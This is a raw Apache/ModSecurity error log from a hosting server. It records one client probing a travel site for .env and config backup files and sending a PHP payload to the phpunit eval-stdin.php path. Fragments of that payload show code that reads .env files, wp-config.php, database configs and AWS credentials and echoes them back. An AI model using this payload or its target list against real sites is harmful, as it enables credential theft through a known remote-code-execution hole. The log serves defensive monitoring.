[Fri Jul 17 08:55:18.126978 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgnol9vhFBGA6D8l95_QAAAAw"]
[Fri Jul 17 08:55:18.134179 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgnol9vhFBGA6D8l95_QAAAAw"]
[Fri Jul 17 08:55:18.134649 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgnol9vhFBGA6D8l95_QAAAAw"]
[Fri Jul 17 08:55:18.134869 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.135119 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnol9vhFBGA6D8l95_QAAAAw"]
[Fri Jul 17 08:55:18.139688 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.143488 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.147882 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.swp"] [unique_id "almgnroj0IkvhSCYadmBoAAAAAQ"]
[Fri Jul 17 08:55:18.148307 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.swp"] [unique_id "almgnroj0IkvhSCYadmBoAAAAAQ"]
[Fri Jul 17 08:55:18.148735 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.swp"] [unique_id "almgnroj0IkvhSCYadmBoAAAAAQ"]
[Fri Jul 17 08:55:18.148932 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.149200 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnroj0IkvhSCYadmBoAAAAAQ"]
[Fri Jul 17 08:55:18.166791 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.167295 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','sites/default/settings..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.168007 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/credential..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.168779 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/config/database.php','application/application/application/application/extra/database.php','app/etc/env.php','sites/default/.aws/credentials','/var/www/html/.env','/var/www/html/.env.local','/var/www/html/.env...."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.177466 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.181293 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/configuration.php.bak"] [unique_id "almgng7FYe46zHK_jL3P0QAAABk"]
[Fri Jul 17 08:55:18.181799 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/configuration.php.bak"] [unique_id "almgng7FYe46zHK_jL3P0QAAABk"]
[Fri Jul 17 08:55:18.181931 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.182120 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgng7FYe46zHK_jL3P0QAAABk"]
[Fri Jul 17 08:55:18.184784 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:18.186449 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: {echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/ [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.186796 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php','si [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.186858 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|<\\\\(|>\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]* ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "123"] [id "932100"] [msg "Remote Command Execution: Unix Command Injection"] [data "Matched Data: ;echo $c found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.186962 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS_NAMES:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: {echo found within ARGS_NAMES:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: strlen($c)>8){echo \\x22\\x5cn--- FILE $f ---\\x5cn\\x22;if(strpos($f,'environ')!"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.187274 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;foreach found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array('.env','../.env','../../.env','../../../.env','.env.local','.env.production','../.env.local','../.env.production','../../.env.production','wp-config.php','../wp-config.php','../../wp-config.php','config/app.php','config/database.php','../config/database.php','application/database.php','../application/database.php','../application/config.php','../application/extra/database.php','app/etc/env.php', [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
[Fri Jul 17 08:55:18.187335 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&|&&|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\'\\"\\\\s]*(?:[\\\\w'\\"\\\\./]+/|[\\\\\\\\'\\"\\\\^]*\\\\w[\\\\\\\\'\\"\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w '\\"/\\\\\\\\]*\\\\\\\\)?[\\"\\\\^]*(?:m[\\"\\\\^]*(?:y[\\"\\\\^]*s[\\"\\\\^]*q[\\"\\\\^]*l(?:[\\"\\\\^]*(?:d[\\"\\\\^]*u[\\"\\\\^]*m[\\"\\\\^]*p(?:[\\"\\\\^]*s[\\"\\\\^ ..." at ARGS:strlen($c)>8){echo "\\\\n--- FILE $f ---\\\\n";if(strpos($f,'environ')!. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "256"] [id "932110"] [msg "Remote Command Execution: Windows Command Injection"] [data "Matched Data: ;echo found within ARGS:strlen($c)>8){echo \\x22\\x5c\\x5cn--- FILE $f ---\\x5c\\x5cn\\x22;if(strpos($f,'environ')!: =false)$c=str_replace(\\x22\\x5c0\\x22,\\x22\\x5cn\\x22,$c);echo $c;}}?>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-windows"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "almgnlCBpfuYyhJ140vSogAAAB4"]
